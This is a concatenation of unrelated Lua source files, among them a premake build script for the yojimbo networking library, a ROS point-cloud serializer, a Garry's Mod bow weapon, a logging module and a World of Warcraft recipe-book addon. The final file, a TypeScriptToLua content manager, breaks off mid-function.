includedirs { ".", "./windows", "netcode.io", "reliable.io" }
libdirs { "./windows" }
else
includedirs { ".", "/usr/local/include", "netcode.io", "reliable.io" }
targetdir "bin/"
end
rtti "Off"
links { libs }
warnings "Extra"
floatingpoint "Fast"
vectorextensions "SSE2"
configuration "Debug"
symbols "On"
defines { "YOJIMBO_DEBUG", "NETCODE_DEBUG", "RELIABLE_DEBUG" }
configuration "Release"
optimize "Speed"
defines { "YOJIMBO_RELEASE", "NETCODE_RELEASE", "RELIABLE_RELEASE" }
project "test"
files { "test.cpp" }
links { "yojimbo" }
project "yojimbo"
kind "StaticLib"
defines { "NETCODE_ENABLE_TESTS=1", "RELIABLE_ENABLE_TESTS=1" }
files { "yojimbo.h", "yojimbo.cpp", "certs.h", "certs.c", "tlsf/tlsf.h", "tlsf/tlsf.c", "netcode.io/netcode.c", "netcode.io/netcode.h", "reliable.io/reliable.c", "reliable.io/reliable.h" }
project "client"
files { "client.cpp", "shared.h" }
links { "yojimbo" }
project "server"
files { "server.cpp", "shared.h" }
links { "yojimbo" }
project "secure_client"
files { "secure_client.cpp", "shared.h" }
links { "yojimbo" }
project "secure_server"
files { "secure_server.cpp", "shared.h" }
links { "yojimbo" }
project "client_server"
files { "client_server.cpp", "shared.h" }
links { "yojimbo" }
project "loopback"
files { "loopback.cpp", "shared.h" }
links { "yojimbo" }
project "soak"
files { "soak.cpp", "shared.h" }
links { "yojimbo" }
if not os.istarget "windows" then
-- MacOSX and Linux.
newaction
{
trigger = "test",
description = "Build and run all unit tests",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 test" then
os.execute "./bin/test"
end
end
}
newaction
{
trigger = "client_server",
description = "Build and run client/server test",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 client_server" then
os.execute "./bin/client_server"
end
end
}
newaction
{
trigger = "loopback",
description = "Build and run loopback test",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 loopback" then
os.execute "./bin/loopback"
end
end
}
newoption
{
trigger = "serverAddress",
value = "IP[:port]",
description = "Specify the server address that the client should connect to",
}
newaction
{
trigger = "client",
description = "Build and run client",
valid_kinds = premake.action.get("gmake2").valid_kinds,
valid_languages = premake.action.get("gmake2").valid_languages,
valid_tools = premake.action.get("gmake2").valid_tools,
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 client" then
if _OPTIONS["serverAddress"] then
os.execute( "./bin/client " .. _OPTIONS["serverAddress"] )
else
os.execute "./bin/client"
end
end
end
}
newaction
{
trigger = "server",
description = "Build and run server",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 server" then
os.execute "./bin/server"
end
end
}
newaction
{
trigger = "secure_server",
description = "Build and run secure server",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 secure_server" then
os.execute "./bin/secure_server"
end
end
}
newaction
{
trigger = "docker",
description = "Build and run a yojimbo server inside a docker container",
execute = function ()
os.execute "docker run --rm --privileged alpine hwclock -s" -- workaround for clock getting out of sync on macos. see https://docs.docker.com/docker-for-mac/troubleshoot/#issues
os.execute "rm -rf docker/yojimbo && mkdir -p docker/yojimbo && mkdir -p docker/yojimbo/tests && cp *.h docker/yojimbo && cp *.cpp docker/yojimbo && cp premake5.lua docker/yojimbo && cp -R reliable.io docker/yojimbo && cp -R netcode.io docker/yojimbo && cp -R tlsf docker/yojimbo && cd docker && docker build -t \"networkprotocol:yojimbo-server\" . && rm -rf yojimbo && docker run -ti -p 40000:40000/udp networkprotocol:yojimbo-server"
end
}
newaction
{
trigger = "valgrind",
description = "Run valgrind over tests inside docker",
execute = function ()
os.execute "rm -rf valgrind/yojimbo && mkdir -p valgrind/yojimbo && mkdir -p valgrind/yojimbo/tests && cp *.h valgrind/yojimbo && cp *.cpp valgrind/yojimbo && cp premake5.lua valgrind/yojimbo && cp -R reliable.io valgrind/yojimbo && cp -R netcode.io valgrind/yojimbo && cp -R tlsf valgrind/yojimbo && cd valgrind && docker build -t \"networkprotocol:yojimbo-valgrind\" . && rm -rf netcode.io && docker run -ti networkprotocol:yojimbo-valgrind"
end
}
newaction
{
trigger = "matcher",
description = "Build and run the matchmaker web service inside a docker container",
execute = function ()
os.execute "docker run --rm --privileged alpine hwclock -s" -- workaround for clock getting out of sync on macos. see https://docs.docker.com/docker-for-mac/troubleshoot/#issues
os.execute "cd matcher && docker build -t networkprotocol:yojimbo-matcher . && docker run -ti -p 8080:8080 networkprotocol:yojimbo-matcher"
end
}
newaction
{
trigger = "secure_client",
description = "Build and run secure client and connect to a server via the matcher",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 secure_client" then
os.execute "./bin/secure_client"
end
end
}
newaction
{
trigger = "stress",
description = "Launch 64 secure client instances to stress the matcher and server",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 secure_client" then
for i = 0, 63 do
os.execute "./bin/secure_client &"
end
end
end
}
newaction
{
trigger = "soak",
description = "Build and run soak test",
execute = function ()
os.execute "test ! -e Makefile && premake5 gmake2"
if os.execute "make -j32 soak" then
os.execute "./bin/soak"
end
end
}
newaction
{
trigger = "cppcheck",
description = "Run cppcheck over the source code and write to cppcheck.txt",
execute = function ()
os.execute "cppcheck *.h *.cpp --force --std=c++03 --language=c++ --quiet -U min -U max 2>&1 --config-exclude=tlsf --suppress=incorrectStringBooleanError --suppress=cstyleCast --suppress=unusedFunction --suppress=unusedStructMember --suppress=variableScope --suppress=memsetClassFloat --enable=warning --enable=performance --enable=style --platform=native -j 32 | tee -a cppcheck.txt"
end
}
newaction
{
trigger = "scan-build",
description = "Run clang scan-build over the project",
execute = function ()
os.execute "premake5 clean && premake5 gmake2 && scan-build make all -j32"
end
}
newaction
{
trigger = "coverity",
description = "Integrate latest code into coverity_scan so it gets coverity scanned by travis job",
execute = function ()
os.execute "git checkout coverity_scan && git merge master && git push && git checkout master"
end
}
newaction
{
trigger = "loc",
description = "Count lines of code",
execute = function ()
os.execute "wc -l *.h *.cpp netcode.io/*.c netcode.io/*.h reliable.io/*.c reliable.io/*.h"
end
}
newaction
{
trigger = "release",
description = "Create a release of this project",
execute = function ()
_ACTION = "clean"
premake.action.call( "clean" )
files_to_zip = "README.md BUILDING.md CHANGES.md ROADMAP.md *.cpp *.h premake5.lua docker tests tlsf windows"
-- todo: need to update this so it works with netcode.io and reliable.io sub-projects
os.execute( "rm -rf *.zip *.tar.gz" );
os.execute( "rm -rf docker/yojimbo" );
os.execute( "zip -9r yojimbo-" .. yojimbo_version .. ".zip " .. files_to_zip )
os.execute( "unzip yojimbo-" .. yojimbo_version .. ".zip -d yojimbo-" .. yojimbo_version );
os.execute( "tar -zcvf yojimbo-" .. yojimbo_version .. ".tar.gz yojimbo-" .. yojimbo_version );
os.execute( "rm -rf yojimbo-" .. yojimbo_version );
os.execute( "mkdir -p release" );
os.execute( "mv yojimbo-" .. yojimbo_version .. ".zip release" );
os.execute( "mv yojimbo-" .. yojimbo_version .. ".tar.gz release" );
os.execute( "echo" );
os.execute( "echo \"*** SUCCESSFULLY CREATED RELEASE - yojimbo-" .. yojimbo_version .. " *** \"" );
os.execute( "echo" );
end
}
newaction
{
trigger = "sublime",
description = "Create sublime project",
execute = function ()
os.execute "cp .sublime yojimbo.sublime-project"
end
}
newaction
{
trigger = "docs",
description = "Build documentation",
execute = function ()
if os.host() == "macosx" then
os.execute "doxygen doxygen.config && open docs/html/index.html"
else
os.execute "doxygen doxygen.config"
end
end
}
newaction
{
trigger = "update_submodules",
description = "Updates to latest code for netcode.io and reliable.io",
execute = function ()
os.execute "git pull"
os.execute "git submodule update --remote --merge"
os.execute "git add *"
os.execute "git commit -am \"update submodules\""
os.execute "git push"
end
}
else
-- Windows
newaction
{
trigger = "solution",
description = "Open Yojimbo.sln",
execute = function ()
os.execute "premake5 vs2019"
os.execute "start Yojimbo.sln"
end
}
newaction
{
trigger = "docker",
description = "Build and run a yojimbo server inside a docker container",
execute = function ()
os.execute "cd docker && copyFiles.bat && buildServer.bat && runServer.bat"
end
}
newaction
{
trigger = "matcher",
description = "Build and run the matchmaker web service inside a docker container",
execute = function ()
os.execute "cd matcher && docker build -t networkprotocol:yojimbo-matcher . && docker run -ti -p 8080:8080 networkprotocol:yojimbo-matcher"
end
}
newaction
{
trigger = "stress",
description = "Launch 64 secure client instances to stress the matcher and server",
execute = function ()
for i = 0, 63 do
os.execute "if exist bin\\x64\\Debug\\secure_client.exe ( start /B bin\\x64\\Debug\\secure_client ) else ( echo could not find bin\\x64\\Debug\\secure_client.exe )"
end
end
}
newaction
{
trigger = "docs",
description = "Build documentation",
execute = function ()
os.execute "doxygen doxygen.config && start docs\\html\\index.html"
end
}
end
newaction
{
trigger = "clean",
description = "Clean all build files and output",
execute = function ()
files_to_delete =
{
"Makefile",
"*.make",
"*.txt",
"*.zip",
"*.tar.gz",
"*.db",
"*.opendb",
"*.vcproj",
"*.vcxproj",
"*.vcxproj.user",
"*.vcxproj.filters",
"*.sln",
"*.xcodeproj",
"*.xcworkspace"
}
directories_to_delete =
{
"obj",
"ipch",
"bin",
".vs",
"Debug",
"Release",
"release",
"cov-int",
"docker/yojimbo",
"valgrind/yojimbo",
"docs",
"xml"
}
for i,v in ipairs( directories_to_delete ) do
os.rmdir( v )
end
if not os.istarget "windows" then
os.execute "find . -name .DS_Store -delete"
for i,v in ipairs( files_to_delete ) do
os.execute( "rm -f " .. v )
end
else
for i,v in ipairs( files_to_delete ) do
os.execute( "del /F /Q " .. v )
end
end
end
}
|
--[[--------------------------------------------------------------------------
-- Dragoon Framework - A Framework for Lua/LOVE --
-- Copyright (c) 2014-2015 TsT worldmaster.fr <tst2005@gmail.com> --
--]]--------------------------------------------------------------------------
local module_with_integrity_check = false
local modcount = 0
local core = require "aio.core"
local print_no_nl = core.print_no_nl
local function integrity_check_code()
assert(modcount)
print_no_nl([[
-- integrity check
--print( (__ICHECKCOUNT__ or "").." module(s) embedded.")
assert(__ICHECKCOUNT__==]].. modcount ..[[)
if not __ICHECK__ then
error("Intergity check failed: no such __ICHECK__", 1)
end
--do for i,v in ipairs(__ICHECK__) do print(i, v) end end
if #__ICHECK__ ~= ]] .. modcount .. [[ then
error("Intergity check failed: expect ]] .. modcount .. [[, got "..#__ICHECK__.." modules", 1)
end
-- end of integrity check
]])
end
local function integrity_modcount_incr()
modcount = modcount+1
end
local function cmd_icheckinit()
print_no_nl("local __ICHECK__ = {};__ICHECKCOUNT__=0;\n")
module_with_integrity_check = true
end
local function cmd_icheck()
integrity_check_code()
end
------------------------------------------------------------------------------
local _M = {}
_M.cmd_icheck = cmd_icheck
_M.cmd_icheckinit = cmd_icheckinit
_M.integrity_modcount_incr = integrity_modcount_incr
_M.module_with_integrity_check_get = function() return module_with_integrity_check end
return _M
|
local ffi = require 'ffi'
local torch = require 'torch'
local ros = require 'ros.env'
local utils = require 'ros.utils'
local pcl = require 'pcl'
local std = ros.std
local PointCloud2SerializationHandler = torch.class('ros.PointCloud2SerializationHandler', ros)
function init()
local names = {
'readPointCloud2',
'writePointCloud2'
}
return utils.create_method_table("ros_pcl_", names)
end
local f = init()
function PointCloud2SerializationHandler:init()
end
function PointCloud2SerializationHandler:getType()
return "sensor_msgs/PointCloud2"
end
function PointCloud2SerializationHandler:read(sr, value)
-- call deserialization function
value = value or pcl.PCLPointCloud2()
local newOffset = f.readPointCloud2(sr.storage:cdata(), sr.offset, value:cdata())
sr:setOffset(newOffset)
return value
end
function PointCloud2SerializationHandler:write(sw, value)
if torch.isTypeOf(value, pcl.PointCloud) then
value = value:toPCLPointCloud2()
end
if not torch.isTypeOf(value, pcl.PCLPointCloud2) then
error("Invalid value type. 'pcl.PCLPointCloud2' expected.")
end
-- call serialization function
local newOffset = f.writePointCloud2(sw.storage:cdata(), sw.offset, utils.cdata(value))
sw:storageChanged(newOffset)
end
|
AddCSLuaFile()
SWEP.PrintName = "Нильфгаардский лук"
SWEP.Slot = 0
SWEP.SlotPos = 1
SWEP.DrawAmmo = true
SWEP.DrawCrosshair = false
SWEP.Category = "WitcherRP"
SWEP.Author = ""
SWEP.Base = "nut_bow_base"
SWEP.Instructions = ""
SWEP.Contact = ""
SWEP.Purpose = ""
SWEP.ViewModelFOV = 72
SWEP.ViewModelFlip = false
SWEP.Spawnable = true
SWEP.AdminSpawnable = true
SWEP.ViewModel = "models/morrowind/ariel/longbow/v_ariel_longbow.mdl"
SWEP.WorldModel = "models/morrowind/ariel/longbow/w_ariel_longbow.mdl"
SWEP.Primary.Damage = 65
SWEP.Primary.Delay = 2
SWEP.Primary.Velocity = 3000
SWEP.Primary.ClipSize = -1 // Size of a clip
SWEP.Primary.DefaultClip = 0 // Default number of bullets in a clip
SWEP.Primary.Automatic = true // Automatic/Semi Auto
SWEP.Primary.Ammo = "XBowBolt"
SWEP.Crosshair = true
SWEP.Secondary.ClipSize = -1 // Size of a clip
SWEP.Secondary.DefaultClip = -1 // Default number of bullets in a clip
SWEP.Secondary.Automatic = false // Automatic/Semi Auto
SWEP.Secondary.Ammo = "none"
|
local Log = llbc.newclass('llbc.Log')
local type = type
local getinfo = debug.getinfo
local traceback = debug.traceback
local LogMsg = _llbc.LogMsg
-- Log levels enumeration.
Log.DEBUG = 0
Log.INFO = 1
Log.WARN = 2
Log.ERROR = 3
Log.FATAL = 4
-- logFileInfo: to control output message included file&line information or not, default is false.
Log.logFileInfo = false
-- defaultFileInfo: use to fill <file> <line> param on output message, must be function, default is nil,
Log.defaultFileInfo = nil
-- defaultLogTag: use to fill <tag> param on output message, can set to string or function, default is nil.
Log.defaultLogTag = nil
-- constructor, do not call.
function Log.ctor()
error('now allow to instantiate Log instance')
end
-- Initialize Log component.
-- @param[required] cfgFile - log init config file.
-- @param[optional] logFileinfo - log file info or not, default is false.
-- @returns - no return.
function Log.init(cfgFile, logFileInfo)
_llbc.InitLog(cfgFile)
if logFileInfo then
Log.logFileInfo = true
end
end
-- Check Log init or log.
-- @returns boolean - init flag.
function Log.isinit()
return _llbc.IsLogInit()
end
local ROOT_LOGGER = "root"
local _logsLevel = {}
local function _canOutput(level, logger)
local logLevel = _logsLevel[logger or ROOT_LOGGER]
if not logLevel then
logLevel = _llbc.GetLogLevel(logger)
_logsLevel[logger or ROOT_LOGGER] = logLevel
end
return level >= logLevel
end
-- Output message to logger.
-- @param level - logger level.
-- @param logger - logger name, default is root logger.
-- @param tag - log tag, default is nil.
-- @param ... - log message.
-- @returns - no return.
function Log.output(level, logger, tag, ...)
if not _canOutput(level, logger) then
return
end
local file, line
if Log.logFileInfo then
local defaultFileInfo = Log.defaultFileInfo
if defaultFileInfo then
file, line = defaultFileInfo()
else
local di = getinfo(3, 'Sl')
file, line = di.source, di.currentline
end
end
if not tag then
local defaultLogTag = Log.defaultLogTag
if defaultLogTag then
if type(defaultLogTag) == 'function' then
tag = defaultLogTag()
else
tag = defaultLogTag
end
end
end
if level >= 3 then -- For improve Log performance, explicit use Log Level value to perform if condition judge.
LogMsg(level, logger, tag, file, line, ..., traceback(3))
else
LogMsg(level, logger, tag, file, line, ...)
end
end
local output = Log.output
-- Log DEBUG level message to root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.d(...)
output(0, nil, nil, ...)
end
-- Log DEBUG level message to specific logger.
-- @param[optional] logger - logger name, default is root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.d2(logger, ...)
output(0, logger, nil, ...)
end
-- Log DEBUG level message to specific logger, and append tag.
-- @param[optional] logger - logger name, default is root logger.
-- @param[optional] tag - log tag, default is nil.
-- @param ... - log message.
-- @returns - no return.
function Log.d3(logger, tag, ...)
output(0, logger, tag, ...)
end
-- Log INFO level message to root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.i(...)
output(1, nil, nil, ...)
end
-- Log INFO level message to specific logger.
-- @param[optional] logger - logger name, default is root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.i2(logger, ...)
output(1, logger, nil, ...)
end
-- Log INFO level message to specific logger, and append tag.
-- @param[optional] logger - logger name, default is root logger.
-- @param[optional] tag - log tag, default is nil.
-- @param ... - log message.
-- @returns - no return.
function Log.i3(logger, tag, ...)
output(1, logger, tag, ...)
end
-- Log WARN level message to root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.w(...)
output(2, nil, nil, ...)
end
-- Log WARN level message to specific logger.
-- @param[optional] logger - logger name, default is root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.w2(logger, ...)
output(2, logger, nil, ...)
end
-- Log WARN level message to specific logger.
-- @param[optional] logger - logger name, default is root logger.
-- @param[optional] tag - log tag, default is nil.
-- @param ... - log message.
-- @returns - no return.
function Log.w3(logger, tag, ...)
output(2, logger, tag, ...)
end
-- Log ERROR level message to root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.e(...)
output(3, nil, nil, ...)
end
-- Log ERROR level message to specific logger.
-- @param[optional] logger - logger name, default is root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.e2(logger, ...)
output(3, logger, nil, ...)
end
-- Log ERROR level message to specific logger, and append tag.
-- @param[optional] logger - logger name, default is root logger.
-- @param[optional] tag - log tag, default is nil.
-- @param ... - log message.
-- @returns - no return.
function Log.e3(logger, tag, ...)
output(3, logger, tag, ...)
end
-- Log FATAL level message to root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.f(...)
output(4, nil, nil, ...)
end
-- Log FATAL level message to specific logger.
-- @param[optional] logger - logger name, default is root logger.
-- @param ... - log message.
-- @returns - no return.
function Log.f2(logger, ...)
output(4, logger, nil, ...)
end
-- Log FATAL level message to specific logger, and append tag.
-- @param[optional] logger - logger name, default is root logger.
-- @param[optional] tag - log tag, default is nil.
-- @param ... - log message.
-- @returns - no return.
function Log.f3(logger, tag, ...)
output(4, logger, tag, ...)
end
-- Set Log table to llbc
llbc.Log = Log
|
-- enlarges and enhances the recipe book so you can see what you do
local addonName, addon, _ = ...
local recipebook = addon:NewModule('RecipeBook', 'AceEvent-3.0')
-- GLOBALS: _G, LibStub, TRADE_SKILLS_DISPLAYED
-- GLOBALS: CreateFrame, PlaySound, TradeSkillOnlyShowMakeable, TradeSkillOnlyShowSkillUps, TradeSkillUpdateFilterBar
-- GLOBALS: hooksecurefunc, pairs, select
local floor = math.floor
local function UpdateScrollFrameWidth(self)
local scrollFrame = self:GetParent()
local skillName, _, reqText, _, headerLeft, _, description, _ = scrollFrame:GetScrollChild():GetRegions()
if self:IsShown() then
scrollFrame:SetPoint('BOTTOMRIGHT', -32, 28)
headerLeft:SetTexCoord(0, 0.5, 0, 1)
else
scrollFrame:SetPoint('BOTTOMRIGHT', -5, 28)
headerLeft:SetTexCoord(0, 0.6, 0, 1)
end
local newWidth = scrollFrame:GetWidth()
scrollFrame:GetScrollChild():SetWidth(newWidth)
scrollFrame:UpdateScrollChildRect()
-- text don't stretch properly without fixed width
description:SetWidth(newWidth - 5)
skillName:SetWidth(newWidth - 50)
reqText:SetWidth(newWidth - 5)
end
local function OnTradeSkillFrame_SetSelection(index)
local scrollFrame = _G.TradeSkillDetailScrollFrame
scrollFrame:SetVerticalScroll(0)
local skillName, reqLabel, reqText, cooldown, headerLeft, headerRight, description, reagentLabel = scrollFrame:GetScrollChild():GetRegions()
if description:GetText() == ' ' then description:SetText(nil) end
if not cooldown:GetText() then cooldown:SetHeight(-10) end
-- add a section for required items
reqLabel:SetTextColor(reagentLabel:GetTextColor())
reqLabel:SetShadowColor(reagentLabel:GetShadowColor())
cooldown:ClearAllPoints()
cooldown:SetPoint('TOPLEFT', description, 'BOTTOMLEFT', 0, -10)
reqLabel:SetPoint('TOPLEFT', cooldown, 'BOTTOMLEFT', 0, -10)
reqText:SetPoint('TOPLEFT', reqLabel, 'BOTTOMLEFT', 0, 0)
reagentLabel:SetPoint('TOPLEFT', reqText, 'BOTTOMLEFT', 0, -10)
-- TODO: display reagent tooltip only when hovering item (via :SetHitRectInsets(left, right, top, bottom))
end
--[[ Size references:
ReforgingFrame => 428 x 430
TradeSkillFrame => 540 x 468
PaperDollFrame => 540 x 424
--]]
local function Initialize()
local frame = _G.TradeSkillFrame
frame:SetSize(540, 450)
-- recipe list area
local list = _G.TradeSkillListScrollFrame
list:ClearAllPoints()
list:SetPoint('TOPLEFT', 0, -83)
list:SetPoint('BOTTOMRIGHT', '$parent', 'BOTTOMLEFT', 300, 28)
-- create additional rows since scroll frame area grew
local numRows = floor((frame:GetHeight() - 83 - 28) / _G.TRADE_SKILL_HEIGHT)
for index = TRADE_SKILLS_DISPLAYED+1, numRows do
local row = CreateFrame('Button', 'TradeSkillSkill'..index, frame, 'TradeSkillSkillButtonTemplate', index)
row:SetPoint('TOPLEFT', _G['TradeSkillSkill'..(index-1)], 'BOTTOMLEFT')
row.skillup:Hide()
row.SubSkillRankBar:Hide()
row:SetNormalTexture('')
_G['TradeSkillSkill'..index..'Highlight']:SetTexture('')
end
if numRows ~= _G.TRADE_SKILLS_DISPLAYED then
_G.TRADE_SKILLS_DISPLAYED = numRows
end
-- previewing created items
for index = 1, numRows do
_G['TradeSkillSkill'..index]:HookScript('OnClick', function(self)
local result = GetTradeSkillItemLink(self:GetID())
if IsEquippableItem(result) and IsModifiedClick('DRESSUP') then
DressUpItemLink(result)
end
end)
end
-- detail/reagent panel
local details = _G.TradeSkillDetailScrollFrame
details:ClearAllPoints()
details:SetPoint('TOPLEFT', list, 'TOPRIGHT', 28, 0)
details:SetPoint('BOTTOMRIGHT', -5, 28)
details.ScrollBar:HookScript('OnShow', UpdateScrollFrameWidth)
details.ScrollBar:HookScript('OnHide', UpdateScrollFrameWidth)
-- hide top-bottom separator
local sepLeft, sepRight = select(21, frame:GetRegions())
sepLeft:Hide(); sepRight:Hide()
-- move bottom action buttons
_G.TradeSkillCreateAllButton:SetPoint('BOTTOMLEFT', 'TradeSkillCreateButton', 'BOTTOMLEFT', -167, 0)
-- stretching the scroll bars
for _, scrollFrame in pairs({list, details}) do
local topScrollBar, bottomScrollBar = scrollFrame:GetRegions()
local middleScrollBar = scrollFrame.ScrollBar:CreateTexture(nil, 'BACKGROUND')
middleScrollBar:SetTexture('Interface\\PaperDollInfoFrame\\UI-Character-ScrollBar')
middleScrollBar:SetTexCoord(0, 0.46875, 0.03125, 0.9609375)
middleScrollBar:SetPoint('TOPLEFT', topScrollBar, 'TOPLEFT', 1, 0)
middleScrollBar:SetPoint('BOTTOMRIGHT', bottomScrollBar, 'TOPRIGHT', 0, 0)
end
-- sidebar/craft details changes
local background = details:CreateTexture(nil, 'BACKGROUND')
background:SetTexture('Interface\\ACHIEVEMENTFRAME\\UI-ACHIEVEMENT-PARCHMENT')
background:SetTexCoord(0.5, 1, 0, 1)
background:SetAllPoints()
local skillName, reqLabel, reqText, cooldown, headerLeft, headerRight, description, reagentLabel = details:GetScrollChild():GetRegions()
headerRight:ClearAllPoints()
headerRight:SetPoint('TOPRIGHT', 20-5, 3-5)
headerLeft:SetPoint('BOTTOMRIGHT', headerRight, 'BOTTOMLEFT')
headerLeft:SetTexCoord(0, 0.6, 0, 1)
for _, region in pairs({headerLeft, _G.TradeSkillSkillIcon, skillName}) do
local point, relativeTo, relativePoint, xOffset, yOffset = region:GetPoint()
region:SetPoint(point, relativeTo, relativePoint, xOffset + 2, yOffset - 5)
end
local sideBarWidth = details:GetWidth()
skillName:SetNonSpaceWrap(true)
skillName:SetWidth(sideBarWidth - 50)
description:SetNonSpaceWrap(true)
description:SetWidth(sideBarWidth - 5)
description:SetPoint('TOPLEFT', 5, -55)
reqText:SetWidth(sideBarWidth - 5)
-- move reagents below one another and widen buttons
for index = 1, _G.MAX_TRADE_SKILL_REAGENTS do
local button = _G['TradeSkillReagent'..index]
local nameFrame = _G['TradeSkillReagent'..index..'NameFrame']
nameFrame:SetPoint('RIGHT', 3, 0)
local itemName = button.name or button.Name
itemName:SetPoint('LEFT', nameFrame, 'LEFT', 20, 0)
itemName:SetPoint('RIGHT', nameFrame, 'RIGHT', -5, 0)
if index ~= 1 then
button:ClearAllPoints()
button:SetPoint('TOPLEFT', _G['TradeSkillReagent'..(index-1)], 'BOTTOMLEFT', 0, -2)
end
local _, _, _, _, yOffset = button:GetPoint()
button:SetPoint('TOPRIGHT', 0+5, yOffset)
end
-- add search hints and basic improvements
local searchBox = _G.TradeSkillFrameSearchBox
searchBox.tiptext = 'Search in recipe, item or reagent names or in item descriptions.\nitem level ± 2: "~123"\nitem level range: "123 - 456"'
searchBox.searchIcon = _G.TradeSkillFrameSearchBoxSearchIcon
searchBox:SetScript('OnEnter', addon.ShowTooltip)
searchBox:SetScript('OnLeave', addon.HideTooltip)
searchBox:SetScript('OnEditFocusLost', _G.SearchBoxTemplate_OnEditFocusLost)
searchBox:SetScript('OnEditFocusGained', _G.SerachBoxTemplate_OnEditFocusGained)
-- add missing clear search button
local clearButton = CreateFrame('Button', '$parentClearButton', searchBox)
clearButton:SetSize(17, 17)
clearButton:SetPoint('RIGHT', -3, 0)
clearButton:Hide()
clearButton:SetScript('OnEnter', function(self) self.texture:SetAlpha(1) end)
clearButton:SetScript('OnLeave', function(self) self.texture:SetAlpha(0.5) end)
clearButton:SetScript('OnClick', function(self, btn, up)
PlaySound('igMainMenuOptionCheckBoxOn')
local editBox = self:GetParent()
editBox:SetText('')
editBox:ClearFocus()
if editBox.clearFunc then editBox.clearFunc(editBox) end
if not editBox:HasFocus() then editBox:GetScript('OnEditFocusLost')(editBox) end
end)
local clearIcon = clearButton:CreateTexture(nil, 'OVERLAY')
clearIcon:SetTexture('Interface\\FriendsFrame\\ClearBroadcastIcon')
clearIcon:SetAllPoints()
clearIcon:SetAlpha(0.5)
clearButton.texture = clearIcon
searchBox.clearButton = clearButton
-- add quick filters
local hasMaterials = CreateFrame('CheckButton', '$parentHasMaterials', frame, 'UICheckButtonTemplate')
hasMaterials:SetPoint('LEFT', 'TradeSkillLinkButton', 'RIGHT', 10, 0)
hasMaterials:SetSize(24, 24)
local hasMatLabel = hasMaterials:CreateFontString(nil, nil, 'GameFontNormal')
hasMatLabel:SetPoint('LEFT', hasMaterials, 'RIGHT', 2, 0)
hasMatLabel:SetText(_G.CRAFT_IS_MAKEABLE)
hasMaterials:SetHitRectInsets(-5, -10 - hasMatLabel:GetStringWidth(), -2, -2)
hooksecurefunc('TradeSkillOnlyShowMakeable', function(enable) hasMaterials:SetChecked(enable) end)
hasMaterials:SetScript('OnClick', function(self, btn, up)
local enable = self:GetChecked()
frame.filterTbl.hasMaterials = enable
TradeSkillOnlyShowMakeable(enable)
TradeSkillUpdateFilterBar()
end)
local hasSkillUp = CreateFrame('CheckButton', '$parentHasSkillUp', frame, 'UICheckButtonTemplate')
hasSkillUp:SetPoint('TOPLEFT', '$parentHasMaterials', 'BOTTOMLEFT', 0, -2)
hasSkillUp:SetSize(24, 24)
local hasSkillLabel = hasSkillUp:CreateFontString(nil, nil, 'GameFontNormal')
hasSkillLabel:SetPoint('LEFT', hasSkillUp, 'RIGHT', 2, 0)
hasSkillLabel:SetText(_G.TRADESKILL_FILTER_HAS_SKILL_UP)
hasSkillUp:SetHitRectInsets(-5, -10 - hasSkillLabel:GetStringWidth(), -2, -2)
hooksecurefunc('TradeSkillOnlyShowSkillUps', function(enable) hasSkillUp:SetChecked(enable) end)
hasSkillUp:SetScript('OnClick', function(self, btn, up)
local enable = self:GetChecked()
frame.filterTbl.hasSkillUp = enable
TradeSkillOnlyShowSkillUps(enable)
TradeSkillUpdateFilterBar()
end)
frame.hasMaterials, frame.hasSkillUp = hasMaterials, hasSkillUp
hooksecurefunc('TradeSkillUpdateFilterBar', function(subName, slotName, ignore)
if ignore then return end
-- don't list "hasMaterials" or "hasSkillUp" in the filter bar
local hasMaterials, hasSkillUp = frame.filterTbl.hasMaterials, frame.filterTbl.hasSkillUp
frame.filterTbl.hasMaterials = false
frame.filterTbl.hasSkillUp = false
TradeSkillUpdateFilterBar(subName, slotName, true)
frame.filterTbl.hasMaterials = hasMaterials
frame.filterTbl.hasSkillUp = hasSkillUp
end)
end
local function OnRetrievingFrameUpdate(self, elapsed)
if IsTradeSkillReady() then TradeSkillFrame_Update() end
end
-- we're loading together with Blizzard_TradeSkillUI, initialize immediately
Initialize()
hooksecurefunc('TradeSkillFrame_SetSelection', OnTradeSkillFrame_SetSelection)
hooksecurefunc('TradeSkillRetrievingFrame_OnUpdate', OnRetrievingFrameUpdate)
|
--[[ Generated with https://github.com/TypeScriptToLua/TypeScriptToLua ]]
require("lualib_bundle");
local ____exports = {}
____exports.ContentManager = __TS__Class()
local ContentManager = ____exports.ContentManager
ContentManager.name = "ContentManager"
function ContentManager.prototype.____constructor(self, base_url)
self.audio_formats = {
"wav",
"mp3",
"ogg",
"oga",
"ogv",
"699",
"amf",
"ams",
"dbm",
"dmf",
"dsm",
"far",
"it",
"j2b",
"mdl",
"med",
"mod",
"mt2",
"mtm",
"okt",
"psm",
"s3m",
"stm",
"ult",
"umx",
"xm",
"abc",
"mid",
"pat",
"flac"
}
self.audio_cache = {}
self.image_formats = {
"jpg",
"jpeg",
"png",
"bmp",
"tga",
"hdr",
"pic",
"exr"
}
self.image_data_cache = {}
self.font_formats = {"ttf", "otf", "ttc"}
self.font_cache = {}
self.shader_formats = {
"vert",
"tesc",
"tese",
"geom",
"frag",
"comp"
}
self.shader_cache = {}
self.base_url = base_url
end
function ContentManager.prototype.resolveAssetsPath(self, domain, filename, valid_formats, domain_displayname)
for ____, format in ipairs(valid_formats) do
local filepath = (((((self.base_url .. "/") .. domain) .. "/") .. filename) .. ".") .. format
if love.filesystem.getInfo(filepath, "file") then
return filepath
end
end
error(
